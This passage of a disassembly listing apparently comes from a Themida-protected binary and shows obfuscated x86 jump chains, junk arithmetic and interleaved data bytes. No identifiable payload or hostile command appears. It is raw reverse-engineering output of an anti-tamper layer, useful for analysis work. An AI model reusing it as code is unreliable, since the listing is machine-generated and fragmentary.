0FDD7DF70h add edx, eax mov eax, [esp] add esp, 4 jmp loc_54E8B8 ; --------------------------------------------------------------------------- dw 79BBh dd 29AE98F3h, 0F3015BDEh, 51C3015Eh, 873897B9h, 7298E954h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54471E: ; CODE XREF: Themida_:005439C6j mov eax, esp add eax, 4 jmp loc_54A4BC ; --------------------------------------------------------------------------- loc_54472A: ; CODE XREF: Themida_:00547DB7j mov ebx, 3D8B381Ch push ecx jmp loc_544689 ; --------------------------------------------------------------------------- loc_544735: ; CODE XREF: Themida_:0054E784j mov ecx, 56FB3067h and ecx, 78625C4Eh jmp loc_54C449 ; --------------------------------------------------------------------------- loc_544745: ; CODE XREF: Themida_:005449ADj push ebp mov ebp, esp push esi jmp loc_5479E7 ; --------------------------------------------------------------------------- dw 815Ah dd 4ECh, 24348900h, 0FE5BF3BEh, 0E9F30146h, 1AD8h, 61712CBFh dd 268DE90Dh, 0CB010000h, 7891EB81h, 0B0E952FEh db 0A9h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54477B: ; CODE XREF: Themida_:0054FD46j push 24h jmp loc_54E82A ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 4C681h, 0E9500000h, 7B1Ah ; --------------------------------------------------------------------------- loc_544794: ; CODE XREF: Themida_:0054ED34j pop esp mov edx, [esp] jmp loc_547165 ; --------------------------------------------------------------------------- db 5Ch, 52h, 0BAh dd 2BC17F4Eh, 3737E9h, 4C48300h, 0F3895351h, 4075E9h, 24048B00h dd 504C483h, 0C76FD28Eh, 478BF57h, 0F7810FE1h, 130E7896h dd 33E9DFF7h, 0C100007Bh, 0E68105E6h, 32960A38h, 0A554BB53h dd 0DE317325h, 0E9F7295Bh, 1B9Ah, 8852C388h, 0E9F588DEh dd 83Dh, 29665F66h, 896659CBh, 3BE9DAh, 0E6890000h, 779FE9h db 0 ; --------------------------------------------------------------------------- loc_54480D: ; CODE XREF: Themida_:00548A7Dj sub [edi+24h], eax pop eax loc_544811: ; CODE XREF: Themida_:00544F43j sub esp, 4 mov [esp], edi mov edi, ebx mov eax, edi push dword ptr [esp] pop edi push ecx jmp loc_548F7B ; --------------------------------------------------------------------------- dd 89FD8955h, 242C8BEEh, 4C481h, 5CE90000h, 560000ADh dd 0FFFBEEE9h, 1665BFFh, 665A66D0h, 664BE468h, 52241C89h dd 59C7BA66h, 7CD4BB66h, 9DFBE9h, 0E9C38900h, 2B11h ; --------------------------------------------------------------------------- loc_544864: ; CODE XREF: Themida_:00547568j pop eax push ecx mov ecx, 14375310h add ecx, 24B401F0h and ecx, 405776DEh sub ecx, 2260139Eh shr ecx, 7 xor ecx, 2BEBA775h or edx, ecx pop ecx push 27D7h mov [esp], ecx mov ecx, 3ED0EFFFh xor edx, ecx jmp loc_54C063 ; --------------------------------------------------------------------------- db 29h, 0CBh, 81h dd 4D679DEBh, 240C8B0Eh, 4C481h, 0D8310000h, 4EE9555Bh dd 88000072h, 582388CCh, 83240C8Bh, 1C8B04C4h, 5360E924h dd 0E9550000h, 164Eh, 7D37C781h, 0F8892256h, 24E9h db 0 ; --------------------------------------------------------------------------- loc_5448DD: ; CODE XREF: Themida_:0054A227j sub dword ptr [esp], 554D294Ah mov esi, [esp] push ebx mov ebx, esp add ebx, 4 jmp loc_5488F8 ; --------------------------------------------------------------------------- db 1, 0C6h, 0FFh a4Xss7s db '4$XSé7˜',0 dd 0C7895F00h, 8324048Bh, 50E904C4h, 8B000031h, 0C483241Ch dd 4C38104h, 55000000h, 3B098E68h, 0DD875D1Fh, 51DD8743h dd 3B098D68h, 8A91E91Fh, 0C1810000h, 76EA2E1Eh, 1040BF57h dd 0E78102D2h, 0A550770h, 0E907E7C1h, 7ADh, 30E951h, 9D610000h dd 0EFCAE9C3h, 74FFFFFFh, 8F5B0424h, 0FF5C2404h, 34FF2434h dd 68505824h, 1735h, 55242489h, 4BDh, 246C0100h, 434EE904h dd 9CB10000h, 0C828EF2Ch, 0D1E9EF04h, 310000AEh, 0A82DE9FBh db 2 dup(0) ; --------------------------------------------------------------------------- loc_544996: ; CODE XREF: Themida_:00546299j add dword ptr [esp+4], 35AF7B7Ah sub [esp+4], ebx sub dword ptr [esp+4], 35AF7B7Ah mov ebx, [esp] jmp loc_544745 ; --------------------------------------------------------------------------- loc_5449B2: ; CODE XREF: Themida_:00544F0Ej push 7FA4h mov [esp], esi mov esi, 4 add edi, esi jmp loc_54EC72 ; --------------------------------------------------------------------------- dw 5335h dd 3548A15Ah, 674609D7h, 531AC781h, 0C72908D8h, 531AEF81h dd 1EE908D8h, 87000021h, 335C2434h, 3C31243Ch, 243C3324h dd 95F3E9h db 0 ; --------------------------------------------------------------------------- loc_5449F5: ; CODE XREF: Themida_:0054F035j push ecx mov ecx, 0EA66C82h mov esi, 0EA6937Dh jmp loc_549BC4 ; --------------------------------------------------------------------------- db 42h, 81h, 0CAh dd 7FBE3F2Fh, 0EA81DAF7h, 0A1211178h, 0B21FE9h db 0 ; --------------------------------------------------------------------------- loc_544A19: ; CODE XREF: Themida_:00549BE7j inc ebp xor ebp, 27EDC000h sub eax, ebp pop ebp pop ecx xor ebx, eax jmp loc_54E4B6 ; --------------------------------------------------------------------------- db 68h dd 39Ah, 0AAEDE957h db 2 dup(0) ; --------------------------------------------------------------------------- loc_544A36: ; CODE XREF: Themida_:00543DDEj mov [esp], edx push dword ptr [esp] pop ebp add esp, 4 jmp loc_5488A7 ; --------------------------------------------------------------------------- loc_544A45: ; CODE XREF: Themida_:0054A9EAj push ebx jmp loc_54A38C ; --------------------------------------------------------------------------- db 83h dd 348904ECh, 2BE24h, 0F1010000h, 240C335Eh, 33240C31h dd 248B240Ch, 0C8B6624h, 4EC8324h, 0E9243C89h, 7146h, 0DACCE81h dd 0EEC17C19h, 5E68103h, 8175941Fh, 9FEF8EC6h, 5EF12951h dd 0FFB9E95Fh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_544A92: ; CODE XREF: Themida_:00547654j push ebx jmp loc_5467D4 ; --------------------------------------------------------------------------- dd 16D6685Ch, 24890000h, 24048124h, 4, 5324048Fh, 4BBh dd 245C0100h, 3C8B5B04h, 4C48124h, 81000000h, 4C7h, 2C78100h dd 33000000h, 3C31243Ch, 243C3324h, 1F5FE95Ch, 47680000h dd 8900006Dh, 0E6892434h, 4EC8353h, 0B9240C89h, 596533D6h dd 0C7E9D1F7h db 9Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_544AF7: ; CODE XREF: Themida_:0054D014j mov [esp], eax mov eax, esp add eax, 4 add eax, 4 jmp loc_54B00F ; --------------------------------------------------------------------------- loc_544B09: ; CODE XREF: Themida_:0054DEE0j add esp, 4 push eax jmp loc_54F105 ; --------------------------------------------------------------------------- db 50h, 0B8h, 0C2h dd 3528D518h, 347B3D63h, 0E958C589h, 0FFFFF848h, 0C8BCB29h dd 5E545624h, 4C681h, 0C6830000h, 24348704h, 7D55E9h, 17C8BB00h dd 0E9560BF8h, 0FFFFF763h, 0E9F8295Fh, 16A9h, 24048B66h dd 4F65E953h, 81AD0000h, 4ECh, 243C8900h, 0FFF0B1E9h db 0FFh ; --------------------------------------------------------------------------- loc_544B6D: ; CODE XREF: Themida_:0054A29Cj sub esi, 4CB90DE5h jmp loc_549AEF ; --------------------------------------------------------------------------- loc_544B78: ; CODE XREF: Themida_:00549E69j push dword ptr [esp] pop edx add esp, 4 neg edx xchg edx, ecx push esi mov esi, 5B6A160Bh add ecx, esi jmp loc_5451F5 ; --------------------------------------------------------------------------- dd 0E204D000h, 0ABACE9h db 0 ; --------------------------------------------------------------------------- loc_544B99: ; CODE XREF: Themida_:005446ACj shr esi, 6 dec esi jmp loc_546486 ; --------------------------------------------------------------------------- dw 0C683h dd 24348702h, 0AB0F665Ch, 0E99C2404h, 6AAEh, 0FFED6BE9h dd 255268FFh, 24890000h, 24048124h, 4, 8B2434FFh, 0C483241Ch dd 4C48104h, 81000000h, 4C3h, 682F6800h, 2C890000h, 2BD24h dd 0C3810000h, 474548DCh, 91B2E9h, 242C8100h, 4ADE09FAh dd 8324148Bh, 8A6804C4h, 0E900003Bh, 5843h, 240C8B66h dd 33868h, 240C8900h, 8904EC83h, 4812424h, 424h, 6A20E900h dd 34FF0000h, 24148B24h, 0A5F4E950h db 2 dup(0) ; --------------------------------------------------------------------------- loc_544C36: ; CODE XREF: Themida_:0054898Ej or ebp, ebx pop ebx add ebp, 112F2042h add ebp, 0ADB28022h and edx, ebp pop ebp and edx, 1A510546h add edx, 0E7F00004h add ecx, edx jmp loc_54BACB ; --------------------------------------------------------------------------- db 0BDh dd 4, 9A22E9h, 48B6600h, 59545124h, 4C181h, 0E9830000h dd 4F1AE904h, 0E9580000h, 0E63h ; --------------------------------------------------------------------------- loc_544C80: ; CODE XREF: Themida_:0054B29Aj push eax push dword ptr [esp+4] pop eax pop dword ptr [esp] jmp loc_54596B ; --------------------------------------------------------------------------- dw 8B66h dd 8157240Ch, 4ECh, 24248900h, 4EC8351h, 0BA241489h, 535644BCh dd 0CDE9D2F7h db 4Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_544CAF: ; CODE XREF: Themida_:00549634j sub ebp, 4 push ebp push dword ptr [esp+4] pop ebp jmp loc_54DB32 ; --------------------------------------------------------------------------- dd 24048F54h, 6EE95056h db 98h, 2 dup(0) ; --------------------------------------------------------------------------- loc_544CCB: ; CODE XREF: Themida_:0054AB26j add al, 2Fh mov cx, [esp] add esp, 2 xor bl, al movzx eax, al lea eax, [edi+eax*4] push 0BADh jmp loc_54E130 ; --------------------------------------------------------------------------- aSyw db '^éYW',0 dw 6600h dd 0E0240481h, 0E95D663Bh, 11AAh ; --------------------------------------------------------------------------- loc_544CFC: ; CODE XREF: Themida_:0054410Ej sub bl, dh sub bl, 96h jmp loc_549BEC ; --------------------------------------------------------------------------- loc_544D06: ; CODE XREF: Themida_:0054C7C4j mov esi, esp add esi, 4 sub esi, 4 jmp loc_54CF8A ; --------------------------------------------------------------------------- loc_544D19: ; CODE XREF: Themida_:0054937Cj mov ebx, 79EF75DBh and ecx, ebx pop ebx jmp loc_54B375 ; --------------------------------------------------------------------------- dw 48Fh dd 24248B24h, 50241489h, 0EBEEE99Ch, 665CFFFFh, 9C240431h dd 0FFEBE3E9h, 3AB551FFh, 320AE9h, 65EF8100h, 0C1550522h dd 79E902EFh, 8BFFFFFBh, 0C4812404h, 4, 2474FF56h, 48F5E04h dd 9BB3E924h, 52BE0000h, 813F4728h, 0D87D15C6h, 7EEC114h dd 1EC6E9h, 5DE90100h, 0E904E983h, 6752h, 31243C33h, 3C33243Ch dd 3260E924h, 0F5010000h, 8324348Bh, 815304C4h, 4ECh, 24048900h dd 468h, 0C3895800h, 21ED8158h, 1149F5Bh, 1342E9DDh, 8B540000h dd 0C483242Ch, 4C58104h, 50000000h, 2B8h, 35BDE900h, 0EB800000h dd 80C30091h, 665191C3h, 0EC76852h, 1C890000h, 0E9ECB324h dd 215Dh, 0C581E589h, 4, 4BE56h, 0F5010000h, 242C335Eh dd 33242C31h, 10E9242Ch, 6600008Ch, 0E924048Bh, 6FF3h dd 0E95BDD89h, 0FFFFF7B7h, 52243C8Bh, 0C281E289h, 4, 70D3E9h dd 0B4B75300h, 0E9FC8850h, 7CBEh, 0EDC0E95Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_544E46: ; CODE XREF: Themida_:0054415Cj sub ah, dh sub ah, 8Dh add ah, 0D0h pop edx mov ch, ah jmp loc_5451C8 ; --------------------------------------------------------------------------- dw 0BA68h dd 8900001Ah, 5954240Ch, 4C181h, 94680000h, 89000006h dd 0E952241Ch, 1BABh, 0C9E9C301h, 56000030h, 4D0D1BBEh dd 8BF70171h, 0C4832434h, 373DE904h, 4BD0000h, 1000000h dd 4E8EE9E8h db 2 dup(0) ; --------------------------------------------------------------------------- loc_544E9A: ; CODE XREF: Themida_:0054C80Fj mov esp, [esp] push ebx mov ebx, 491928E9h jmp loc_54C8DC ; --------------------------------------------------------------------------- dd 40FBE951h, 68550000h, 6FFCh, 24048F54h, 4240483h, 0E9242C8Bh dd 3C25h, 0E92C77FFh, 0FFFFEA58h, 0C581E589h, 4, 8704C583h dd 575C242Ch, 0C781E789h, 4, 4C781h, 3C870000h, 5402E924h dd 66510000h, 665871B9h, 6659CB89h, 1A14E955h db 2 dup(0) ; --------------------------------------------------------------------------- loc_544F02: ; CODE XREF: Themida_:0054CBC7j sub edi, 5C404AD2h add ebp, edi pop edi add edi, ebp pop ebp jmp loc_5449B2 ; --------------------------------------------------------------------------- db 81h dd 7D7CB7F3h, 0F3814B1Ah, 270E4A7Eh, 1182E9h, 241C8700h dd 4C4835Ch, 63F76866h, 24148966h, 8812B753h, 5B045BFEh dd 0FFF474E9h db 0FFh ; --------------------------------------------------------------------------- loc_544F41: ; CODE XREF: Themida_:00546B47j ; DATA XREF: ___:off_435718o or eax, eax jz loc_544811 push dword ptr [edi+1Ch] jmp loc_54CD89 ; --------------------------------------------------------------------------- loc_544F51: ; CODE XREF: Themida_:0054A7E6j push edi mov edi, 1903616Eh dec edi xor edi, 1901604Ch sub eax, edi jmp loc_54AA2C ; --------------------------------------------------------------------------- loc_544F65: ; CODE XREF: Themida_:0054934Bj mov [esp], edx mov edx, 0 sub edx, 0CB11F5Eh jmp loc_54B467 ; --------------------------------------------------------------------------- dd 65437535h, 792D400Dh, 1656989h, 815858C3h, 282973EBh dd 5BDA31F3h, 386E9h, 24048B00h, 81E38953h, 4C3h, 4C38100h dd 0E9000000h, 5E64h, 31240433h, 4332404h, 24248B24h, 3FAC68h dd 240C8900h, 54ACE953h, 0C4810000h, 4, 4EC81h, 4890000h dd 369CB824h, 0C5294862h, 81D50158h, 62369CC5h, 2C875A48h dd 24248B24h, 0A9F8E9h, 0A8685100h, 0E924946Bh, 7F53h dd 5C24048Fh, 0BF8E9h, 1C77FF00h, 6658669Dh, 9C240419h dd 0FFE90FE9h db 0FFh ; --------------------------------------------------------------------------- loc_545015: ; CODE XREF: Themida_:0054F087j mov cl, dh pop dx add cl, 6Ch sub al, cl pop ecx push dword ptr [esp] jmp loc_548D48 ; --------------------------------------------------------------------------- db 89h dd 90E9242Ch, 5400000Fh, 0FFEBDDE9h, 0E95B5AFFh, 3514h dd 4247C01h, 0E09E95Fh, 0C8B0000h, 11D26824h, 2C890000h dd 83E58924h, 0DE904ECh db 67h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54505B: ; CODE XREF: Themida_:0054DF92j shr esi, 6 add esi, 9D7F760h push esi xor dword ptr [esp], 62826838h jmp loc_5491FF ; --------------------------------------------------------------------------- db 8Bh, 0Ch, 24h dd 55E08950h, 0FFFE11E9h db 0FFh ; --------------------------------------------------------------------------- loc_54507D: ; CODE XREF: Themida_:0054648Ej pop ecx sub ecx, 4D0A6A42h xor ecx, 173A994Dh mov ebp, ecx pop ecx add esi, ebp pop ebp jmp loc_548F41 ; --------------------------------------------------------------------------- loc_545095: ; CODE XREF: Themida_:0054D64Cj sub [esp+4], edi pop edi mov eax, [esp] add esp, 4 push esi push ebp mov ebp, 3CEE7D0Eh jmp loc_5471BC ; --------------------------------------------------------------------------- dd 8158C328h, 4ECh, 242C8900h, 0E5F6850h, 0E95850D0h, 1EFDh ; --------------------------------------------------------------------------- loc_5450C4: ; CODE XREF: Themida_:0054E874j add esi, 4 xchg esi, [esp] pop esp push edx jmp loc_54447D ; --------------------------------------------------------------------------- db 81h, 0C5h, 2Ah dd 81359E06h, 1262A9C5h, 0F8C5814Eh, 29A08A6Ah, 242C8BEFh dd 4C481h, 0BE560000h, 2DE20591h, 494FE9h, 4E7C100h, 0DAD5B951h dd 0C781334Ah, 77480D53h, 0EF81CF01h, 77480D53h, 3F15E9h dd 61016800h, 0E959209Eh, 46ABh ; --------------------------------------------------------------------------- loc_545120: ; CODE XREF: Themida_:0054B012j mov esp, [esp] push ecx mov ecx, 6A474E83h jmp loc_54C583 ; --------------------------------------------------------------------------- dw 0E189h dd 4EC81h, 4890000h, 309B824h, 0FE91ADEh, 8900008Eh, 0BD552414h dd 4, 15DEA89h, 8B042454h, 0C4832414h, 0E7C6E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54515E: ; CODE XREF: Themida_:00547C60j add esp, 4 shr ecx, 0Bh push eax mov eax, esp jmp loc_547D73 ; --------------------------------------------------------------------------- db 81h dd 4ECh, 24048900h, 1019D6B8h, 3E8C152h, 69930540h, 0D0F77618h dd 2D02E0C1h, 0E82C26F3h, 4D99E981h, 0C1296CA4h, 0A9CCE9h dd 24048900h, 79620FB8h, 9E21056Ah, 0E6059586h, 0E90D6A4Dh dd 8FACh, 4C781h, 68550000h, 5390h, 0E9240C89h, 6853h ; --------------------------------------------------------------------------- loc_5451C8: ; CODE XREF: Themida_:00544E51j mov eax, [esp] sub esp, 4 mov [esp], ebx jmp loc_54F63A ; --------------------------------------------------------------------------- dw 0EB81h dd 6B27FE4h, 0C381F301h, 6B27FE4h, 933AE95Eh, 0C7810000h dd 3E716DB7h, 6F6EE9h db 0 ; --------------------------------------------------------------------------- loc_5451F5: ; CODE XREF: Themida_:00544B8Bj pop esi xor ecx, 62A6121h and ecx, 0D101559h add ecx, 0FAFFEAF8h mov edx, ecx mov ecx, [esp] push esi mov esi, esp jmp loc_54D39F ; --------------------------------------------------------------------------- loc_545215: ; CODE XREF: Themida_:00547EF0j push 33AAh mov [esp], eax push dword ptr [esp+4] pop eax pop dword ptr [esp] pop esp jmp loc_54763E ; --------------------------------------------------------------------------- db 81h dd 4C3h, 4EB8300h, 5C241C87h, 0E9241C89h, 0AA63h, 83240C8Bh dd 3AE904C4h, 810000A5h, 0FC3851F3h, 0E9DE295Dh, 6047h ; --------------------------------------------------------------------------- loc_545258: ; CODE XREF: Themida_:0054BEFAj mov ebp, [esp] sub esp, 4 mov [esp], edi push esp pop edi push eax jmp loc_54A77A ; --------------------------------------------------------------------------- dd 5C243487h, 148B5452h, 4C48124h, 83000000h, 5FE904ECh db 74h, 2 dup(0) ; --------------------------------------------------------------------------- loc_545283: ; CODE XREF: Themida_:00549089j mov edi, 4 add eax, edi pop edi push ebp mov ebp, 4 add eax, ebp pop ebp xchg eax, [esp] pop esp and eax, ebx push dword ptr [esp] mov ebx, [esp] add esp, 4 push esi mov esi, esp add esi, 4 jmp loc_54A009 ; --------------------------------------------------------------------------- dd 0E981F901h, 64B97E9Dh, 2C1E981h, 0E7E95ED3h, 6800001Ch dd 4, 11F8E95Eh, 0E9520000h, 6E0h, 2474FF56h, 2434FF04h dd 5F54575Eh, 4C781h, 0C7810000h, 4, 5C243C87h, 8B24048Fh dd 8B662424h, 0ACE92414h db 0A2h, 2 dup(0) ; --------------------------------------------------------------------------- loc_545303: ; CODE XREF: Themida_:0054ACE2j add ecx, 4 xchg ecx, [esp] pop esp xor ebp, [esp] xor [esp], ebp jmp loc_54BE07 ; --------------------------------------------------------------------------- loc_545315: ; CODE XREF: Themida_:0054CAE5j pop edi jmp loc_547BE4 ; --------------------------------------------------------------------------- db 29h dd 24148BD7h, 4C481h, 0FCE90000h, 8300004Bh, 0C8704C1h dd 3E85E924h, 66AC0000h, 3AB151h, 0C8B66C8h, 2C48124h dd 2C000000h, 4D800F4h, 0EA6851F4h dword_545350 dd 8900005Fh, 0ADB42404h, 8004E4C0h, 0E4C01AECh, 0E9C4FE07h ; DATA XREF: ___:off_43CCB4o dd 24D7h, 101EBA52h, 0D30155ACh, 354EE9h db 0 ; --------------------------------------------------------------------------- loc_545375: ; CODE XREF: Themida_:00544381j push edx push dword ptr [esp+4] pop edx pop dword ptr [esp] pop esp mov [esp], bx mov bh, 4Eh jmp loc_54C000 ; --------------------------------------------------------------------------- dw 0AF68h dd 89000006h, 8B54240Ch, 0C481240Ch, 4, 4C181h, 0E9830000h dd 240C8704h, 56E9545Ch, 8B000058h, 0C481240Ch, 4, 4C181h dd 97680000h, 8900006Dh, 2BE2434h, 1000000h, 24348BF1h dd 0E9E28952h, 0A108h ; --------------------------------------------------------------------------- loc_5453D8: ; CODE XREF: Themida_:0054E1C8j mov edi, 2A803954h and eax, edi pop edi xor eax, 2003905h push ebx mov ebx, eax jmp loc_54DD31 ; --------------------------------------------------------------------------- loc_5453ED: ; CODE XREF: Themida_:00547DB1j pop ecx mov eax, [esp] push eax jmp loc_54B8B9 ; --------------------------------------------------------------------------- db 68h dd 16DB5FF2h, 18BF5759h, 814A1D56h, 46317AEFh, 5FF921FEh dd 305AE9h, 66AD6600h, 664FC52Dh, 6653C02Dh, 566D829h dd 0E95353C0h, 0FFFFFACAh, 4C0835Fh, 0E9240487h, 1ADCh dd 7136EF81h, 0EFC133AFh, 0EF814704h, 25329C6h, 565FFE01h dd 42474FFh, 24048F5Eh, 24048B5Ch, 41A68h, 241C8900h, 0C381E389h dd 4, 4EB81h, 76E90000h db 5, 2 dup(0) ; --------------------------------------------------------------------------- loc_54546F: ; CODE XREF: Themida_:0054DD4Cj push dword ptr [esp] pop eax add esp, 4 and eax, ebp pop ebp or edx, eax shl edx, 1 push eax mov eax, 24h add eax, edi xor [eax], ecx pop eax push edx jmp loc_5445E2 ; --------------------------------------------------------------------------- dw 0F201h dd 0FFF854E9h, 3EDA68FFh, 0F0E93E19h, 89000057h, 5F54243Ch dd 57D8E9h db 0 ; --------------------------------------------------------------------------- loc_5454A9: ; CODE XREF: Themida_:0054C20Cj add ecx, 4 add ecx, 4 xchg ecx, [esp] mov esp, [esp] jmp loc_543FD3 ; --------------------------------------------------------------------------- dd 240C8B66h, 815A5452h, 4C2h, 0A0E95300h, 25FFFFE6h, 2F5009BDh dd 0C225D8F7h, 2D75D70Ch, 0F6B3BDFBh, 0E958C789h, 68D1h dd 53E9E789h, 59FFFFF1h, 0FFE42BE9h db 0FFh ; --------------------------------------------------------------------------- loc_5454F9: ; CODE XREF: Themida_:0054C451j pop ecx or edi, 77D17BFFh add edi, 0C0401h mov ecx, edi pop edi add ecx, edx add eax, [ecx] pop ecx pop edx pop ebx pop ecx push 57CEh mov [esp], eax jmp loc_543924 ; --------------------------------------------------------------------------- dw 48Bh dd 4C48324h, 4AB568h, 241C8900h, 0C381E389h, 4, 4EC81h dd 0C890000h, 3A826824h, 2C890000h, 4BD24h, 0E9890000h dd 0C1EB815Dh, 0E9364202h, 4F04h, 19BCEA81h, 0D1010601h dd 5E2CE9h, 1C5F2100h, 81241C8Bh, 4ECh, 24348900h, 2CB968h dd 5EA5E900h, 515E0000h, 4B9h, 59CE0100h, 4BB53h, 6AE90000h dd 81000073h, 4EFh, 243C8700h, 2424895Ch, 4240483h, 83243C8Bh dd 0C78104C4h, 4, 1275E953h, 5D590000h, 8103E1C1h, 9AE6A1C1h dd 64806878h, 0CEE90000h, 8B00009Dh, 8951240Ch, 4C181E1h dd 83000000h, 0C8704C1h, 41E95C24h, 57FFFFE3h, 83CEE9h dd 1C77FF00h, 0D259669Dh, 0E99C241Ch, 0FFFFE32Ch, 0C380C300h dd 7EEB804Fh, 0F7DEB80h, 8B66C0B6h, 0EC832414h, 4630E904h dd 51500000h, 0F580C5B5h, 59E888B3h, 0B058C688h, 5AF030B1h dd 53E9C328h db 59h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54562B: ; CODE XREF: Themida_:0054C990j mov esi, [esp] add esp, 4 sub edx, ebp pop ebp neg edx push esi mov esi, 32421651h add edx, esi pop esi jmp loc_5479BA ; --------------------------------------------------------------------------- db 81h dd 4C5h, 4BA5200h, 1000000h, 2C875AD5h, 52575C24h, 0AB33BDBAh dd 33BFBF73h, 0D73173ABh, 5FFE015Ah, 4B13E956h db 2 dup(0) ; --------------------------------------------------------------------------- loc_545672: ; CODE XREF: Themida_:00548A91j sub dword ptr [esp], 7510DAAh pop eax add eax, 7510DAAh mov esi, [esp] push 4224h jmp loc_548A3F ; --------------------------------------------------------------------------- loc_54568C: ; CODE XREF: Themida_:0054F49Dj mov esi, 574D596Eh sub esi, 283A7EC2h xor esi, 2777DE6Dh add ebp, esi pop esi sub ebp, 79A1425Fh push eax mov eax, 76573C85h jmp loc_54A0DF ; --------------------------------------------------------------------------- loc_5456B1: ; CODE XREF: Themida_:00543B09j shr esi, 4 jmp loc_54C62D ; --------------------------------------------------------------------------- db 53h, 0BBh, 4 dd 1000000h, 5B04245Ch, 0FFE289E9h, 0C4815CFFh, 4, 4EC81h dd 0C890000h, 1350E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5456DE: ; CODE XREF: Themida_:00543D32j push edx mov edx, 358167CDh or ecx, edx mov edx, [esp] jmp loc_547AA6 ; --------------------------------------------------------------------------- loc_5456EE: ; CODE XREF: Themida_:00545C26j add ebx, 183B36D3h xor ebx, 455EC21Ch jmp loc_5486DF ; --------------------------------------------------------------------------- db 40h dd 0D2255305h, 6E0C131h, 5708E8C1h, 956FE9h, 14D0BE00h dd 0F6817474h, 747414D4h, 348BF101h, 4C48324h, 4C181h dd 0C870000h, 24248B24h, 0FFE1EFE9h, 0E9CB81FFh, 814EE935h dd 4660B6F3h, 3E3C13Ch, 53C0E9h, 0E9504D00h, 7A24h, 28DF04ACh dd 4059E9D8h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54575A: ; CODE XREF: Themida_:0054D1A2j not ebx sub ebx, 16B53F02h push 87D0705h mov ecx, [esp] push esi push esp pop esi add esi, 4 push edi jmp loc_54BC38 ; --------------------------------------------------------------------------- db 8Bh, 2 dup(24h) dd 0FF241C89h, 1C8B2434h, 4C48324h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_543924 ; --------------------------------------------------------------------------- db 1, 0FAh, 5Fh aBDz3xBDz3xsX db 'ê¤z3x)¤z3xé%x',0 dw 5500h aSS_4 db '^é{S',0 align 2 dw 0BD55h dd 4, 0E95DE801h, 14A4h, 749EB81h, 0C8B1CB5h, 4C48324h dd 113CEB81h, 26E93A6Eh db 24h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5457DF: ; CODE XREF: Themida_:0054C366j add ebx, 4 xchg ebx, [esp] pop esp or edx, eax shl edx, 1 push 69CEh mov [esp], eax push 827h mov [esp], esi push 7A546155h pop esi xor esi, 85AB9EAAh mov eax, esi pop esi sub [edi+24h], eax jmp loc_549F07 ; --------------------------------------------------------------------------- loc_545814: ; CODE XREF: Themida_:00549A79j push ecx mov ecx, 1D954CFh inc ecx and ecx, 71FD3198h xor ecx, 1D91094h add eax, ecx pop ecx add eax, 4 xchg eax, [esp] mov esp, [esp] push ecx mov ecx, esp jmp loc_54D550 ; --------------------------------------------------------------------------- db 0F7h, 0DEh, 0E9h dd 71B7h ; --------------------------------------------------------------------------- loc_545844: ; CODE XREF: Themida_:0054BABEj pop ebx pop ecx jmp loc_544069 ; --------------------------------------------------------------------------- aIS db '‰$$éÜ',0Bh,0 db 0 ; --------------------------------------------------------------------------- loc_545853: ; CODE XREF: Themida_:0054ED0Ej mov ch, 12h and ch, 2Ch jmp loc_5463DC ; --------------------------------------------------------------------------- db 68h, 66h, 33h dd 2C890000h, 0D913BD24h, 0B951ABEDh, 51010087h, 0D5E9C801h dd 81000015h, 115554F5h, 2E5C178h, 0BC89C581h, 0EA313C4Dh dd 83242C8Bh, 0D02904C4h, 8124148Bh, 4ECh, 5356E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54589E: ; CODE XREF: Themida_:0054A9D6j xchg eax, [esp] mov esp, [esp] or eax, eax jz loc_54C9DA push dword ptr [edi+1Ch] mov ecx, [esp] push 5787h mov [esp], edi mov edi, esp jmp loc_54E412 ; --------------------------------------------------------------------------- dd offset dword_450050+3818h align 2 dw 489h dd 5E08924h, 4, 4EC8353h, 0E9240C89h, 0FFFFF839h ; --------------------------------------------------------------------------- loc_5458DC: ; CODE XREF: Themida_:00547548j sub esp, 4 mov [esp], esi push ebp jmp loc_54CC91 ; --------------------------------------------------------------------------- dd 9C241CF7h, 0FFE033E9h, 243C8BFFh, 4C481h, 0E8E90000h dd 66FFFFEAh, 6824048Bh, 7AABh, 3937E9h, 14895C00h, 0E513E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_545916: ; CODE XREF: Themida_:0054A07Cj and edi, 3CD2640Ah jmp loc_54FB02 ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 a3So db '3<$éŽ',9,0 align 4 dd 81D830ACh, 2ECh, 5704E900h, 7F830000h, 840F0020h, 8762h dd 6F2B850h, 0C6816D57h, 273E7946h, 45D8BA52h, 0EA817980h dd 3C5EDFA3h, 34D0E9h, 8BE82800h, 0CBE9240Ch db 84h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54596B: ; CODE XREF: Themida_:00544C89j pop esp shr ecx, 6 push ebp push 357Ah mov [esp], eax push esp pop eax add eax, 4 jmp loc_547EED ; --------------------------------------------------------------------------- dd 19F2E950h, 4890000h, 88D48824h, 2434FFE3h, 4C48358h dd 88D88850h, 33C4E9C1h, 0F1010000h, 74FF515Eh, 8F590424h dd 665C2404h, 0E99CC885h, 4620h, 170110BAh, 8D81E973h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5459C2: ; CODE XREF: Themida_:0054EB61j mov edi, 75B47445h jmp loc_543B2A ; --------------------------------------------------------------------------- loc_5459CC: ; CODE XREF: Themida_:00544417j add ebp, 4 push ebx jmp loc_5439F2 ; --------------------------------------------------------------------------- dd 0C581E589h, 4, 0FFF4C3E9h, 241C33FFh, 3DBBE9h, 48B6600h dd 0E1895124h, 4C181h, 0E9810000h, 4, 5C240C87h, 0E9243C89h dd 7649h, 81D6015Ah, 6B3C44C6h, 7AE95A65h db 0E3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- 